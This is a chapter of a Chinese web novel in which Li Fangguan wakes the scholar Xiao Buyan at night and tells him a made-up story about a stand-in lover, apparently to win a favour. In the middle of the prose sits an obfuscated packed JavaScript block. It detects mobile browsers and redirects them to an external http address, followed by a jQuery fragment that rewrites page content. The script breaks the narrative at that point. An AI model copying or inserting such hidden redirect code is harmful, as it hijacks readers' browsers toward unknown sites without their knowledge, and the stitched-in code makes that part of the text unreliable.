肖补烟恍惚梦见自己并非躺在榻上,而是在茫茫书海中,划着一叶小舟,随墨浪起伏。
四周雾霭沉沉,天色昏黄。
正仿徨间,忽见前方有两盏明灯,金光灿灿,硕大无朋,却莫名透着几分熟悉。
那两盏灯径直飘到身前,肖补烟凝神细看。
哪里是灯?分明是两只巨大无比,炯炯有神的眼睛。
肖补烟:……?
那眼睛眨了一眨,一个声音仿佛自虚空传来,轰隆隆如雷鸣。
却是李芳官那惯有的理直气壮腔调:
“兀那书生,吾乃《山海经》中烛龙之神,今日睁眼为昼,闭眼为夜。见你灵台有光,特来一观。吾来考考你:你且分说,《山海经》中何鱼,食之不屁?”
肖补烟闻言,表情崩裂一瞬,但在梦中仍欲强持风度,掸了掸衣袖并不存在的灰尘,拱手道:
“原来是钟山之神驾临,失敬。只是,尊神用词……可否略雅几分?您这……睁眼太亮,可否稍敛光芒?”
那巨眼却不依不饶,又逼近几分,金光直刺得他睁不开眼:
“凡人休得搪塞!不然,吾便睁眼到天明,看你如何安睡!”
肖补烟无奈,只得服软道:“神君息怒,且容小生卜算一卦。”
言罢,他伸手入怀,摸出来的却不是蓍草或龟甲,而是一本温热的、还在微微跳动的书。
定睛一看,竟是他自己的心。
书页哗啦啦自行翻动,他正待一观“心书”所示,斜刺里忽又冲出一只通体雪白,口吐人言的獏兽。
獏兽样貌生的顽皮可爱,语带焦急道:“书生,书生,快快醒来!此非真神,乃‘目精’所化!是有人意念过于强大,侵入你的梦乡了!待吾将其食之!”
说罢,便欲扑向那对巨眼。
肖补烟阻拦不及,巨眼闻言大怒,金光更盛:“好个孽畜,安敢坏我好事!”
瞬间巨眼中飞出无数金光闪闪的蜂虫,嗡嗡地围着獏兽叮咬。
獏兽抱头鼠窜:“哎呦!好生犀利的目光!蛰得疼煞我也!”
肖补烟直挺挺被夹在当中,捧着自己的“心书”,看那目精放出目精蜂,梦獏四处奔逃,直觉荒诞无比。
梦中扶额叹息:“罢罢罢,真是‘白日昭昭,夜亦昭昭’,清净终不可得。李芳官,你问便问罢,何苦扰我清梦,还扮作古神唬人……”
李芳官正坐在小杌子上,并无言语,只一味的炯炯有神将肖补烟盯视。
突闻他自梦中唤自己名字,惊奇的向前探身。
只听得肖补烟梦话碎碎念道:“《北次三经》载……伦山之鲶鱼,食之不睡……唔,《东次四经》跂踵之山,有鲐鱼,食之不屁……嗯?!”
李方官:?
话甫一出口,肖补烟惊醒过来。
字句音犹在耳,他霍然睁眼,正对上李芳官把他瞧着的那双炯炯有神的眼眸。
吃这一吓,肖补烟的脸色在月光下由白转青,猛地拽起绫被掩住口鼻,咳了起来,懊悔自己刚才说了不洁之词。
他先是难以置信地看向她,李芳官只听他闷声怒道:
“李、芳、官!”
“你夜半更深,扰人清梦,就为了问这等污秽不堪、亵渎经典之事?!”
“《山海经》包罗万象,乃古之地理博物奇书!到你这里就成了……就成了……辟谷消食方略不成?!”
李芳官:??
她怎么就污秽不堪、亵渎经典了?她说什么了?她还什么都没说呢?
四目相对,寝卧里恢复寂静。
肖补烟咳声未止,仿似终于清醒,李芳官摸到桌边,以内力逼沸茶汤,注茶入杯,就着杯沿给他灌了一口。
肖补烟捋顺了气,气息奄奄道:"舍得回来了?你看见我跑什么?你……怎么半夜在我的房间里?"
末句气息渐低,李芳官察觉到肖补烟将脸更深地掩进绫被,似在躲她。
一时辨不明他的语气,不知是否被冒犯,他问题又多,李芳官沉吟着,端茶坐回小杌子上。
李芳官沉吟道:“我来找你谈心。”
她决定跟着自己的主意走。
肖补烟狐疑地自绫被间窥了眼天色,莫名其妙道:“谈心?此刻?”
李芳官开心道:“是啊,好巧啊,你居然还没睡。”
肖补烟:……我分明睡了,是你将我瞪醒的。
肖补烟掀被做起,换了个姿势,认命道:“那就……谈吧……你想谈什么?”
李芳官看着他整理绫被,端正衣袍,拣起枕边的发带,将披散的头发简单一束,双手规矩的摆好,倚靠床头,微微歪着头看着她。
一副“愿闻其详”的姿态。
心中一股怪异的感觉升起。
这男子,恁地看起来这般乖巧。
李芳官握拳放在唇边一咳,正色道:“我来给你讲个故事。”
肖补烟双眼放空,大半夜的,来讲故事?
李芳官也不管其他人想不想听,径直娓娓道来:“话说春秋时期,宋国有一大夫,名唤子朝,据说长的很好看,才华横溢,闻名于诸侯。”
肖补烟听着她这半文半白的讲述,还算捧场的颔首,示意在听。
李芳官继续道:“这子朝喜欢卫国一位绝色的宗室女,名曰南子。可南子心有所属,性情刚烈,不为子朝所动。子朝求之不得,那是吃不下睡不好,形销骨立。”
李芳官一边讲,一边时不时瞥他,似有暗示:“有一天他出使郑国,于溱洧水边,见一采蘩女子。女子身形窈窕,竟与南子有七八分相似!子朝大喜过望,重金聘之,携其归宋,藏于别馆。”
肖补烟眉头几不可察地蹙了蹙,似乎想说什么。
李芳官给他一个“你敢打断试试的眼神”。
肖补烟:……
李芳官接道:“子朝将对南子无从寄托的痴念,全数倾注在采蘩女身上,令其学习南子的仪态举止,一颦一笑。那女子起初惶恐,后来也渐渐动了真情,迷失在虚幻的恩宠中,假意成了真情,啧啧,竟然对子朝生了爱慕之心。”
听到此处,肖补烟着实按捺不住道:“你这故事……似乎些许牵强。子朝之名见于《左传·昭公二十年》,乃宋国华氏之党,奔卫之事确有记载,但其情史,尤其是寻替身……颇类逸闻趣谈,而非春秋信史。南子乃卫灵公夫人,声名……呃,显赫,与子朝似乎没有这般纠葛……”
李芳官茫然道:“是吗?”
随后把眼一瞪:“都说了是讲故事!你不要给我打岔,我编不下去了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315634|182979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
肖补烟眼皮一跳,大惑不解,但妥协道:“……你编。”
李芳官编了一会,几番踌躇,身躯在小杌子上不安扭动,想来确实编不下去。硬编道:
“后来宋国内乱,那个……子朝失势,被迫出奔。仓皇之际,他自身难保,逃跑的时候,哪里顾得上替身的‘南子’,昔日珍宝,成了累赘,子朝狠心将采蘩女丢弃,独自逃亡。”
“那采蘩女子,骤然从云端跌落,惊觉过往温情皆是假象,自己不过是他人爱欲的影子与容器。哀恸欲绝之下,她竟香消玉殒。而子朝漂泊异国,据说晚年也十分凄凉,常对溱洧之水方向长吁短叹,不知是悔是愧。”
李芳官殷切问道:“你说,这一场情缘,是不是镜花水月,终是虚妄?”
肖拜言不明其意:“……是?”
李芳官再接再厉,引导道:“你说那子朝是不是愚不可及?明明自己执念深重,偏要拉上一个无辜之人入局!编织一场大梦,害人害己,何苦来哉。如果这样的人,在我们身边,是不是不值得喜爱?”
肖补烟面露迷茫:“是……所以?”
李芳官语塞:“所以……”
肖补烟见她冥思苦想,忍不住为她圆转道:“所以这个故事是劝人莫做替身?或者莫寻替身?”
此验证中下怀,李芳官一拍大腿:“对!如此你便是懂了!就是这个意思!所以做人不要活在他人的影子里!否则悔之晚矣,何必呢?”
肖补烟:……
不,他不懂。
肖补烟静默片刻,尽力不纠结于考据典故真伪,头顶李芳官期待的眼神,硬着头皮发表感想:“故事虽未必为真,情理却古今相同,执念化妄,伤己及人,确是愚行。若论‘爱而不得反伤己身’,贾生痛哭,屈子怀沙,其情可悯,其志可哀,然皆不似这般……几乎虐戾的荒唐。”
还好李芳官面露满意之色,大抵是因为她听不懂典故,不然肖补烟这感想也实在编不下去了。
然后肖补烟听见李芳官兴奋说:“你看,我如此开导于你,你也受开导了,你是不是欠我一个人情?”
肖补烟:……原来在这等我呢。
他何时需要开导?半夜讲故事到底是何用意?
肖补烟脱口问出,李芳官自觉不好直说,只理直气壮道:“当然需要!你以为我不知道你在想什么?我可什么都知道!”
肖补烟:你又知道了?可我还什么都不知道呢?
肖补烟倚着床头,只把李芳官睨着,有些哭笑不得。
他总算弄清一件事情,李芳官必是有求于他。
肖补烟轻轻摇头,且不管这替身故事是什么意思,难为她费尽心思,绕这么大一个圈子。
肖补烟直截了当,摆手道:“好了、好了,你是不是有事相求?”
李芳官脸皮一皱,面露尴尬,但强撑气度。
肖补烟含笑催促道:“快说罢。”
这一夜烛目摇光、獏兽奔逐,梦呓交织痴语,恰似一场荒唐大梦。
有词为证,正是:
《临江仙》
烛目摇光书海雾,恍闻雷震虚空。心书獏兽乱相逢。目蜂叮梦醒,绫被掩羞容。
夜半何来奇客至,炯然双瞳如钟。笑问山海鲐鱼踪。拜言亦未寝,痴语彻宵浓。